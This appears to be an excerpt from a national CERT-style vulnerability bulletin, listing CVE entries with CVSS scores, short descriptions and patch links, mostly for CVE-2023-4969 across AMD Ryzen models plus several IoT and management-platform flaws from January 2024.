Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1380
Product: ryzen_5_6600u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1381
Product: ryzen_5_7500f					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1382

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_7520u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1383
Product: ryzen_5_7535hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1384
Product: ryzen_5_7535u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1385
Product: ryzen_5_7600					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1386
Product: ryzen_5_7600x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1387

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_7640h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1388
Product: ryzen_5_7645hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1389
Product: ryzen_5_pro_3350g					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1390
Product: ryzen_5_pro_3350ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1391
Product: ryzen_5_pro_3400g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1392

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_pro_3400ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1393
Product: ryzen_5_pro_7540u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1394
Product: ryzen_5_pro_7545u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1395
Product: ryzen_5_pro_7640hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1396
Product: ryzen_5_pro_7640u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1397

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_pro_7645					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1398
Product: ryzen_7_4700g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1399
Product: ryzen_7_4700ge					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1400
Product: ryzen_7_4700u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1401
Product: ryzen_7_4800h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1402

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_4800hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1403
Product: ryzen_7_4800u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1404
Product: ryzen_7_4980u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1405
Product: ryzen_7_5700g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1406
Product: ryzen_7_5700ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1407

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_5700u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1408
Product: ryzen_7_6800h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1409
Product: ryzen_7_6800hs					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1410
Product: ryzen_7_6800u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1411
Product: ryzen_7_7700					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1412

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_7700x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1413
Product: ryzen_7_7735hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1414
Product: ryzen_7_7735u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1415
Product: ryzen_7_7736u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1416
Product: ryzen_7_7745hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1417

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_7_7800x3d					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1418
Product: ryzen_7_7840h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1419
Product: ryzen_7_pro_7745					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1420
Product: ryzen_7_pro_7840hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1421
Product: ryzen_7_pro_7840u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1422

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_4900h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1423
Product: ryzen_9_4900hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1424
Product: ryzen_9_6900hs					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1425
Product: ryzen_9_6900hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1426
Product: ryzen_9_6980hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1427

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_6980hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1428
Product: ryzen_9_7845hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1429
Product: ryzen_9_7900					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1430
Product: ryzen_9_7900x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1431
Product: ryzen_9_7900x3d					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1432

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_7940h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1433
Product: ryzen_9_7945hx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1434
Product: ryzen_9_7945hx3d					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1435
Product: ryzen_9_7950x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1436
Product: ryzen_9_7950x3d					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1437

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_pro_7945					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1438
Product: ryzen_9_pro_7945hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1439
Vendor: biges					
Product: vg-255-bv					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-2-090224/1440
Product: vg-255-df					
Affected Version(s): -					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-2-090224/1441
Product: vg-255a-bf					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-2-090224/1442
Product: vg-4c1a-lrpu					
Affected Version(s): -					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-4-090224/1443
Product: vg-4c1a-lru					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-4-090224/1444
Product: vg-4c1e-nvr					
Affected Version(s): -					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-4-090224/1445
Product: vg-64c8rd-nvr					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-6-090224/1446
Product: vg-8c1a-lrpu					
Affected Version(s): -					
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-8-090224/1447
Product: vg-8c1e-nvr					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Path Traversal: '/../filedir'	26-Jan-2024	7.5	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C. **CVE ID : CVE-2023-6919**	N/A	H-BIG-VG-8-090224/1448
Vendor: byzoro					
Product: smart_s150					
Affected Version(s): -					
Improper Access Control	19-Jan-2024	9.8	A vulnerability was found in Beijing Baichuo Smart S150 Management Platform V31R02B15. It has been classified as critical. Affected is an unknown function of the file /useratte/inc/useratte a.php. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251538	N/A	H-BYZ-SMAR-090224/1449

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0712**		
N/A	19-Jan-2024	5.3	A vulnerability classified as problematic has been found in Beijing Baichuo Smart S150 Management Platform V31R02B15. This affects an unknown part of the file /log/download.php of the component Backup File Handler. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-251541 was	N/A	H-BYZ-SMAR-090224/1450

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0716**		
Product: smart_s210					
Affected Version(s): -					
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	9.8	A vulnerability has been found in Beijing Baichuo Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252184. NOTE: The vendor was contacted early about this disclosure but did	N/A	H-BYZ-SMAR-090224/1451

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0939**		
Vendor: cdebyte					
Product: e880-ir01					
Affected Version(s): -					
Cleartext Transmission of Sensitive Information	18-Jan-2024	7.5	An issue discovereed in EBYTE E880-IR01-V1.1 allows an attacker to obtain sensitive information via crafted POST request to /cgi-bin/luci. **CVE ID : CVE-2023-50614**	N/A	H-CDE-E880-090224/1452
Vendor: Cisco					
Product: wap371					
Affected Version(s): -					
